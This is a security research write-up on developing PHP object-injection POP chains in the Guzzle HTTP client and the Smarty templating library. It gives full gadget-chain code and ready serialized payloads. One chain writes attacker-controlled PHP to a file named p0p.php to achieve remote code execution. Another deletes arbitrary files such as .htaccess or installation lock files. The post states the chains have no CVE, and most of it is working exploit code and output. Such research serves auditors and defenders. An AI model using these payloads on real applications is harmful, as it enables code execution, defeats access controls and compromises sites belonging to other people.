No CVE? No problem
(Unfortunately)
Aloha, friends! Welcome to the first release in our miniseries of deep dives into POP Chain development in popular PHP frameworks and software. This research has been designed in a manner to be seen from a developer, auditor, and attacker’s point of view. While geared toward experienced developers and those familiar with the PHP fundamentals, we have laboriously broken down all the technical knowledge so even those unfamiliar with the exploit vector can follow along.
This month involves a breakdown of POP chains found in Guzzle, a HTTP client library, and Smarty, a web templating system for PHP. Developers are far more aware of object injection nowadays, there are still a great deal of chains that can be utilized, and many still undiscovered. From a developer’s position, they are almost impossible to prevent completely due to their degree of complexity and variance in severity. This is why the creation of complicated chains is considered an art form and requires extensive knowledge of the source and fundamentals of the language used.
So we begin with a __destruct() as usual, where all objects come to meet their end.
After many hours of analysing the copious lines of code (and a great deal of coffee later), we stumbled upon the FileCookieJar class. The docblock description for the destructor piqued our interest and we began to wonder: is this file and the data saved to it subject to manipulation?
The destructor called the save() method with an argument of $this->filename. We know from years of programming experience that most file writing functionality usually involve more than one argument, so there is likely some internal logic happening behind the scenes.
“In a time of destruction, create something.”
– Maxine Hong Kingston
FileCookieJar is an extension of the CookieJar class, so to ensure we don’t overlook anything, we start at the base class and work backwards. By familiarising ourselves with the class and its properties, we can ascertain which types are also expected.
private $cookies = []; private $strictMode;
We can see that 2 private properties are initialized in the CookieJar class. An array type called $cookies and $strictMode, which has no default type or value but is inferred to be a boolean type through its use in the constructor.
public function __construct(bool $strictMode = false, array $cookieArray = [])
Returning to the FileCookieJar class, we find more private properties and their associated types to utilize.
private $filename; private $storeSessionCookies;
Neither of the properties have a default type or value but it is inferred they are string and boolean types respectively through the docblock definition (https://docs.phpdoc.org/guide/getting-started/what-is-a-docblock.html)
Now we can use this new knowledge to inspect the save() method.
Upon inspection of the save() method, we discover a loop over the object. This may surprise you but objects in PHP are Iterable. This will loop through all visible properties within the object, but as we’re still in the context of the object, this will loop through protected and private properties as well.
Foreach ($this as $cookie) {
From the following docblock definition of $cookie, we can assume that one of the properties should be of type SetCookie. It is then passed to a static method shouldPersist(), which checks if it should be persisted to filesystem storage.
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
Examining the CookieJar class, we find the shouldPersist() definition.
/** * Evaluate if this cookie should be persisted to storage * that survives between requests. * * @param SetCookie $cookie Being evaluated. * @param bool $allowSessionCookies If we should persist session cookies * @return bool */ public static function shouldPersist( SetCookie $cookie, $allowSessionCookies = false ) { if ($cookie->getExpires() || $allowSessionCookies) { if (!$cookie->getDiscard()) { return true; } } return false; }
So, now that we have some idea of the internal functionality, we need to examine the SetCookie class and its properties. Upon inspection, we find 2 private properties: $defaults, which initializes keys with default values in an array, and $data, which has no default value or type but is implied to be an array type within the docblock definition.
/** @var array */ private static $defaults = [ 'Name' => null, 'Value' => null, 'Domain' => null, 'Path' => '/', 'Max-Age' => null, 'Expires' => null, 'Secure' => false, 'Discard' => false, 'HttpOnly' => false ]; /** @var array Cookie data */ private $data;
Returning to the CookieJar::shouldPersist() static method, we see 2 method calls using the SetCookie object: getExpires() and getDiscard(). Next we must check the definitions of these calls since we need to force a truthful return from shouldPersist().
/** * The UNIX timestamp when the cookie Expires * * @return mixed */ public function getExpires() { return $this->data['Expires']; } /** * Get whether or not this is a session cookie * * @return bool|null */ public function getDiscard() { return $this->data['Discard']; }
After examining the definitions, we understand that these method calls return properties within the object itself, commonly known as getter methods. So by controlling the object values, the return value of the shouldPersist() call can also be manipulated and forced to return a true result. There are 2 conditions we need to satisfy to return a truthful result:
if ($cookie->getExpires() || $allowSessionCookies) if (!$cookie->getDiscard())
With all the information we’ve discovered so far, we can start to build a POP chain payload to force the return type and test the theory.
<?php namespace GuzzleHttp\Cookie; class SetCookie { public function __construct( public array $data = [] ){} } class FileCookieJar { public function __construct( public $cookies = null, public string $filename = 'p0p', public bool $storeSessionCookies = true, # second argument passed to shouldPersist() ){ $this->cookies = (new SetCookie); $this->cookies->data = [ 'Discard' => false, # will equate to true for !getDiscard() condition 'Expires' => null, ]; } }
However, after testing the payload we are given a TypeError
TypeError: array_values(): Argument #1 ($array) must be of type array, GuzzleHttp\Cookie\SetCookie given
Tracing the error, we see that the problem lies in the array_values($this->cookies) call within the getIterator() method when $cookie->toArray() is executed.
public function getIterator() { return new \ArrayIterator(array_values($this->cookies)); } public function toArray() { return array_map(function (SetCookie $cookie) { return $cookie->toArray(); }, $this->getIterator()->getArrayCopy()); }
At first glance this may seem confusing, but essentially the array values are cloned and then iterated over with the toArray() method being called on each item. Because the items are of type SetCookie, a different method will be called to the one above.
public function toArray() { return $this->data; }
This means we just need to adapt our payload and make $this->cookies an array type, and then create a SetCookie object as a value in the array. Then, when toArray() is called, it should return $this->data from the object.
<?php namespace GuzzleHttp\Cookie; class SetCookie { public function __construct( public array $data = [] ){} } class FileCookieJar { public function __construct( public array $cookies = [], public string $filename = 'p0p', public bool $storeSessionCookies = true, ){ $this->cookies = ['p0p' => (new SetCookie)]; # now an array type with key => value pairs $this->cookies['p0p']->data = [ 'Discard' => false, 'Expires' => null, ]; } }
A file called p0p has also been created on the filesystem with the following content:
[{"Discard":false,"Expires":null}]
We can see that this is a stored representation of $this->cookies[‘p0p’]->data from our payload.
From code analysis we can deduce that we’ve triggered the file write with the file_get_contents() call. We have control of the filename argument via the $filename property in the FileCookieJar object, and the content written to the file is a JSON packed string we have control over.
Examining the GuzzleHttp\json_encode() call, we see that the function is just a wrapper for JSON encoding that uses the json_encode() function.
/** * Wrapper for JSON encoding that throws when an error occurs. * * @param mixed $value The value being encoded * @param int $options JSON encode option bitmask * @param int $depth Set the maximum depth. Must be greater than zero. * * @return string * @throws Exception\InvalidArgumentException if the JSON cannot be encoded. * @link http://www.php.net/manual/en/function.json-encode.php */ function json_encode($value, $options = 0, $depth = 512) { $json = \json_encode($value, $options, $depth); if (JSON_ERROR_NONE !== json_last_error()) { throw new Exception\InvalidArgumentException( 'json_encode error: ' . json_last_error_msg() ); } return $json; }
We can conclude there aren’t any forms of sanitization of the array values before being stored to the filesystem ; the only limitation of our payload is the use of double quotes in strings escaping because of the string representation of the JSON data.
Our final payload takes the data types of the $this->cookies[‘p0p’]->data values into consideration. In a modern environment, an application is likely to enable strict type checking with declare(strict_types=1); and an incorrect type could disrupt our exploit. For this we make sure the expiry is a valid timestamp and use the $this->cookies[‘p0p’]->data[‘Name’] value to hold our injected payload as it’s treated as, and assumed to be, a string type.
For a proof of concept we can use the standard function phpinfo() to test if Remote Code Execution is possible. However, the payload can be adapted to write raw PHP code provided there are no double quotes used in the payload. We change the $filename from p0p to p0p.php, so the webserver interprets the contents as PHP code and then write the JSON packed string to the file.
<?php namespace GuzzleHttp\Cookie; class SetCookie { public function __construct( public array $data = [] ){} } class FileCookieJar { public function __construct( public array $cookies = [], public string $filename = 'p0p.php', public bool $storeSessionCookies = true, ){ $this->cookies = ['p0p' => (new SetCookie)]; $this->cookies['p0p']->data = [ 'Discard' => false, 'Expires' => time() + 3600, 'Name' => '<?=phpinfo();?>', ]; } }
For demonstration purposes, we have emulated an application vulnerable to Object Injection via unsanitized input being passed to the unserialize() function. To exploit this vulnerability, we will need to have a serialized representation of our proof of concept.
By printing out a serialized representation of our object, we can pass the generated payload to the unserialize() function. This will call the __destruct() method automatically at the end of execution and trigger our payload, writing the JSON packed representation of our
$this->cookies[‘p0p’]-> data array to p0p.php…
print(serialize(new FileCookieJar));
Which results in the generation of this serialized representation of the object.
O:31:"GuzzleHttp\Cookie\FileCookieJar":3:{s:7:"cookies";a:1:{s:3:"p0p";O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3: {s:7:"Discard";b:0;s:7:"Expires";i:1667648386;s:4:"Name";s:15:"<?=phpinfo();?>";}}}s:8:"filename";s:7:"p0p.php";s:19:"storeSessionCookies";b:1;}
When the payload is supplied to the unserialize() function, the p0p.php file is generated with the following contents:
[{"Discard":false,"Expires":1667648386,"Name":"<?=phpinfo();?>"}]
Requesting the p0p.php file displays the output from the phpinfo() call. We have achieved Remote Code Execution.
Now we continue our journey and move on to the next software in this article: SmartyPHP.
The process begins much like before, with a suspicious-looking destructor but this time it’s not the definition that piques our interest. It may seem useless at first glance because there’s nothing that seems abusable. However, our keen readers would have noticed there are potential instances of code flow redirection in this destructor; so, we need to fully examine the framework and understand its intentions.
$this->cached->handler->releaseLock($this->smarty, $this->cached);
Remember that by having control of the object, we have control of the properties within. Provided the types supplied to methods match that of the original, we can even change which class method is called by manipulating the properties that contain the objects.
We start by checking the Smarty_Internal_Template class where the destructor is called and note it’s an extension to the Smarty_Internal_TemplateBase class. We find the type definitions of
$this->cached within the docblock description and $this->smarty within the constructor. Neither of which are type hinted in the classes but implied to be Smarty_Template_Cached and Smarty, respectively.
@property Smarty_Template_Cached $cached /** * Global smarty instance * * @var Smarty */ public $smarty = null;
But to trigger releaseLock(), we need to pass the following conditional check:
if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
Let’s dig deeper!
Analysis of the Smarty class gives us the definition of $cache_locking, a value we need to manipulate to force a conditional return value. Since it is implied to a boolean type, we can just force the value to true.
class Smarty extends Smarty_Internal_TemplateBase { /** * Controls whether cache resources should use locking mechanism * * @var boolean */ public $cache_locking = false;
We repeat this process for Smarty_Template_Cached class and find equivalent behaviour with $is_locked. We can also force this value to true.
class Smarty_Template_Cached extends Smarty_Template_Resource_Base { /** * flag that cache is locked by this instance * * @var bool */ public $is_locked = false;
Currently, we can force the conditional value and can trigger the releaseLock() method call. Analysing the Smarty_Template_Cached class reveals that $handler isn’t type hinted; but we can deduce from the docblock definition that it’s expecting a Smarty_CacheResource type.
class Smarty_Template_Cached extends Smarty_Template_Resource_Base { /** * CacheResource Handler * * @var Smarty_CacheResource */ public $handler = null;
Following the current application logic, we can examine Smarty_CacheResource class to see what the default behaviour should be and discover it’s an abstract class. This means we can deduce the parameters’ types and the return types from its definition; however, the actual method being called will likely be an extension of this class. /** * Unlock cache for this template * * @param Smarty $smarty * @param Smarty_Template_Cached $cached * * @return bool */ public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) { // release lock return true; }
Analysing the framework once more, we find the intended methods to be called are instances of the abstract classes Smarty_CacheResource_Custom and Smarty_CacheResource_KeyValueStore. Inspection of these classes and all their extensions reveal nothing interesting or exploitable, however. abstract class Smarty_CacheResource_Custom extends Smarty_CacheResource { public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) { $cached->is_locked = false; $name = $cached->source->name . '.lock'; $this->delete($name, $cached->cache_id, $cached->compile_id, null); } } abstract class Smarty_CacheResource_KeyValueStore extends Smarty_CacheResource { public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) { $cached->is_locked = false; $key = 'LOCK#' . $cached->filepath; $this->delete(array($key)); } }
We have identified the necessary information required to assist us in manipulating control flow of $handler. We just need to ascertain where we can redirect the control flow and if it’s exploitable. To do this we can inspect the source for all instances of the method releaseLock() with the correct amount of parameters and parameter types.
Taking into consideration the extensions of the base classes, abstract classes being inherited from some method calls having default parameters, we discover this method in the Smarty_Internal_CacheResource_File class with an unlink() call that seems fruitful.
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) { $cached->is_locked = false; unlink($cached->lock_id); }
Checking the type of $cache->lock_id in the Smarty_Template_Cached class, we find it’s expecting a string value.
/** * Id for cache locking * * @var string */ public $lock_id = null;
We conclude that by redirecting control flow by making $this->cached->handler an instance of Smarty_Internal_CacheResource_File, we can trigger an unlink() call with an argument of
$this->cached->lock_id.
We can begin to construct our payload using the knowledge we’ve gained analysing from the source. The first step is forcing the conditional check before the releaseLock() call. We overcome this by setting Smarty::$cache_locking and Smarty_Template_Cached::$is_locked to true.
<?php class Smarty { public function __construct( public bool $cache_locking = true ){} } class Smarty_Template_Cached { public function __construct( public bool $is_locked = true ){} } class Smarty_Internal_Template { public function __construct( public $smarty = new Smarty, public $cached = new Smarty_Template_Cached ){} }
Finally, the handler will be made an instance of Smarty_Internal_CacheResource_File class to change control flow from Smarty_CacheResource_KeyValueStore::releaseLock() to the Smarty_Internal_CacheResource_File::releaseLock() call that will trigger our unlink() call.
class Smarty_Internal_Template { public function __construct( public $smarty = new Smarty, public $cached = new Smarty_Template_Cached ){ $this->cached->handler = new Smarty_Internal_CacheResource_File; } }
The file name to be removed can be controlled with Smarty_Template_Cached::$lock_id. As this will be dynamic depending on where the vulnerability gets executed, we’re using a .htaccess file as an example.
class Smarty_Template_Cached { public function __construct( public bool $is_locked = true, public string $lock_id = '.htaccess' ){} }
The final payload.
<?php class Smarty { public function __construct( public bool $cache_locking = true ){} } class Smarty_Template_Cached { public function __construct( public bool $is_locked = true, public string $lock_id = '.htaccess' ){} } class Smarty_Internal_Template { public function __construct( public $smarty = new Smarty, public $cached = new Smarty_Template_Cached ){ $this->cached->handler = new Smarty_Internal_CacheResource_File; } }
For demonstration purposes, we will use the same emulated application vulnerable to Object Injection.
By printing out a serialized representation of our object, we can pass the generated payload to the unserialize() function. This will call the __destruct() method automatically at the end of execution and trigger our payload; removing the .htaccess file.
print(serialize(new Smarty_Internal_Template));
This will generate the following serialized string.
O:24:"Smarty_Internal_Template":2:{s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";b:1;}s:6:"cached";O:22:"Smarty_Template_Cached" :3:{s:9:"is_locked";b:1;s:7:"lock_id";s:9:".htaccess";s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}}}
By passing the payload to the unserialize() function, the .htaccess file is removed from the filesystem provided the script-execution user has the permissions to do so. While this may only seem an annoyance rather than a vulnerability, there are many applications that rely on files to prevent access to specific resources.
It’s also common for software to create lock files after an initial installation to prevent regular users re-installing the software. These lock files can be removed with this unlink() POP chain and give an attacker a greater scope to analyse.
And that, is the end of part 1.